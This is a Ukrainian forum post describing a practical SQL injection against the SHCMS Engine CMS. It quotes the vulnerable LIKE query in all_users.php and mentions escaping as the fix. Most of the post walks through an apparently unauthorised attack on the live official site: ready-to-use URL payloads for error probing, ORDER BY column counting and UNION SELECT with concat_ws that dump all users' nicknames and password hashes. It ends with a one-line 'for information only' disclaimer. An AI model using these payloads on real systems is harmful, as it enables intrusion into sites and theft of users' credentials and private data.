Тема: Взлом SHCMS Engine (SQL Injection на практиці)
Бродивши по старих форумах wap/web розробників натрапив на публікацію нової CMS
http://visavi.net/load/down.php?act=view&id=1784 - лінк з інформацією та її описом
http://shcms.ru - оф.сайт
Зараєструвавшись,почав тестувати на малі баги та помилки,нічого такого не знайшов, після чого завантажив цю CMS собі на локалку. Побігавши по архіву,відкрив наступний файл
/modules/user/all_users.php //файл виводу всіх користувачів
Де наткнувся на рядок..
$user = $db->query("SELECT * FROM `users` WHERE `nick` LIKE '".$_GET['letter']."%' ORDER BY `id` DESC ". $newlist->limit()."");
Тут в змінну user записується SQL запит на видачу всіх користувачів з можливістю вивести тільки тих,у кого в ніку є певні символи,за це відповідає оператор LIKE,далі йде саме значення з літер,які мають бути в ніку,за це тут відповідає суперглобальний масив $_GET (який отримує дані з адресного рядка) з параметром letter,тобто $_GET['letter'],здавалося б все ок,АЛЕ, цей параметр перед вводом в БД ніяк не фільтрується,програміст мав би екранувати лапки в запиті.
Наприклад так:
$letter = $db->real_escape_string($_GET['letter']); //такий приклад,бо тут використовується ООП MySQL(i),якщо це рядок
або
$letter = abs(intval($_GET['letter'])); // якщо ціле число
Цього зроблено не було,тому..
Для початку йдемо в браузер і заходимо на сторінку з користувачами
http://shcms.ru/modules/all_users.php
далі перевіряємо вибірку користувачів за символами в ніку
http://shcms.ru/modules/all_users.php?letter=ga (бо регнувся там під ніком gartnex)
ок,все працює..
Тепер перевіримо чи дійсно ж там є sql inj таким чином
http://shcms.ru/modules/all_users.php?letter=ga' //ми вставили одну лапку в кінці
І нам видало помилку
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%' ORDER BY `id` DESC limit 0 ,10' at line 1
А це означає,що inj дійсно є,тому виникла синтаксична помилка при запиті,бо він став таким:
SELECT * FROM `users` WHERE `nick` LIKE 'ga'%' ORDER BY `id` DESC limit 0 ,10 ;
Йдемо далі..
Для подальшої роботи нам знадобиться кількість полів таблиці,з якої на даний момент витягується інформація.
Це потрібно для обєднання двох запитів через оператор UNION.
Мені лінь було заглядати в sql бекап,щоб глянути,тим більше, що на оф сайті кількість полів могла відрізнятись від кількості тих,що є в релізі cms.
Знак "+" в адр. рядку заміняє пробіл, "--" коментар в SQL
Перевіряти будемо оператором ORDER by
http://shcms.ru/modules/all_users.php?letter='+order+by+50+--+
Вилетіла помилка..
Unknown column '50' in 'order clause'
Значить полів менше 50
далі...
http://shcms.ru/modules/all_users.php?letter='+order+by+30+--+
Помилки немає,значить полів більше 30
Перебравши, дійшов до 40,де і вискочила перша помилка,це означало,що полів - 39.
Завданням є паралельно витягнути логіни та паролі (login:password). (через помилки які вискочили, ми вже знаємо,що вони в таблиці users)
В $_GET['letters'] ми передаємо тільки наш SQL код,щоб перший запит не виконувався та не заважав нам
http://shcms.ru/modules/all_users.php?letter='+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+from+users+--+
Тут ми здійснили обєднання запитів.
Також ми побачили,що на місці ніку стоїть цифра 2,це означає,що він витягувався з поля під номером 2. Сюди то ми і будемо витягувати "наші" дані
Для початку перевіримо чи виведуться хоч якісь дані,і вставимо команду user() (користувач БД) на місце другого поля.
http://shcms.ru/modules/all_users.php?letter='+union+select+1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+from+users+--+
Все ок,отримали shams727_shcms@localhost
Також (з помилок які вискакували) ми знаємо,що ніки зберігаються в полі nick
Тестовий запит
http://shcms.ru/modules/all_users.php?letter='+union+select+1,nick,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+from+users+--+
Отримали ніки всіх користувачів,але ж нам потрібно і паролі до них..
Щоб отримати результат запиту відразу до двох полів nick,password (неважко було здогадатись назву),нам потрібно їх обєднати а при виводі розділити,для цього використаємо sql функцію CONCAT_WS() (конкатенація з розділенням)
Так:
concat_ws(0x3a,nick,0x3a,password)
,де 0x3a - це шістнадцятеричне значення ":",яким і розділимо нік і пароль.
Вставляємо в запит
http://shcms.ru/modules/all_users.php?letter='+union+select+1,concat_ws(0x3a,nick,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+from+users+--+
Результат:
Ми отримали на одній сторінці всі (тому,що ми закоментували код в скрипті який йде після нашого) ніки та паролі (жаль,що захешовані двійним md5(md5($pass)))
Намагався авторизуватись на пряму через cookies та марно,дані записуються в сессію при авторизації через POST.
Та все одно, дані з БД легко витягнути,наприклад приватні повідомлення або щось таке..:)
Інформація тільки для ознайомленння та закриття можливих SQL inj у ваших або публічних скриптах.